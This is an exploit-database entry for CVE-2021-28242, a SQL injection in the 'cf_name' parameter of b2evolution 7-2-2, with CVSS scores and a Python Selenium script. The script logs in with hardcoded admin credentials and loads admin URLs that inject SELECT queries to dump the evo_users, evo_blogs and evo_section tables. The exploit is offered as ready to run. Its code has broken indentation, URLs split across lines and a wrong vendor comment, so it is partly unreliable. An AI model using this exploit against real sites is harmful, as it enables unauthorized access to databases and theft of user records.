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zdtZdt1337DAY-ID-36206
HistoryMay 06, 2021 - 12:00 a.m.

b2evolution 7-2-2 - (cf_name) SQL Injection Exploit

2021-05-0600:00:00
0day.today
27

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

# Exploit Title: b2evolution 7-2-2 - 'cf_name' SQL Injection 
# Author: @nu11secur1ty
# Vendor: https://b2evolution.net/
# Link: https://b2evolution.net/downloads/7-2-2
# CVE: CVE-2021-28242
# Proof: https://streamable.com/x51kso

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-28242


from selenium import webdriver
import time


# Vendor: https://typo3.org/
website_link="
http://192.168.1.3/b2evolution/index.php?disp=login&redirect_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&return_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&source=menu%20link"

# enter your login username
username="admin"

# enter your login password
password="FvsDq7fmHvWF"

#enter the element for username input field
element_for_username="x"

#enter the element for password input field
element_for_password="q"

#enter the element for submit button
element_for_submit="login_action[login]"


browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
#browser = webdriver.Firefox() #uncomment this line,for chrome users

browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

# Exploit vulnerability MySQL obtain sensitive database information by
injecting SQL commands into the "cf_name" parameter
time.sleep(7)
# Receaving sensitive info for evo_users
browser.get(("http://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT+*+FROM+%60evo_users%60+ORDER+BY+%60evo_&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections"))

time.sleep(7)
# Receaving sensitive info for evo_blogs
browser.get(("
http://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20`evo_blogs`%20ORDER%20BY%20`evo_blogs`.`blog_name`&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections"))

time.sleep(7)
# Receaving sensitive info for evo_section
browser.get(("http://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20`evo_section`%20ORDER%20BY%20`evo_section`.`sec_name`&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections"))


time.sleep(7)
browser.close()


print("At the time, of the exploit, you had to see information about the
tables...\n")



except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Sorry, your exploit is not working for some reasons...")

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

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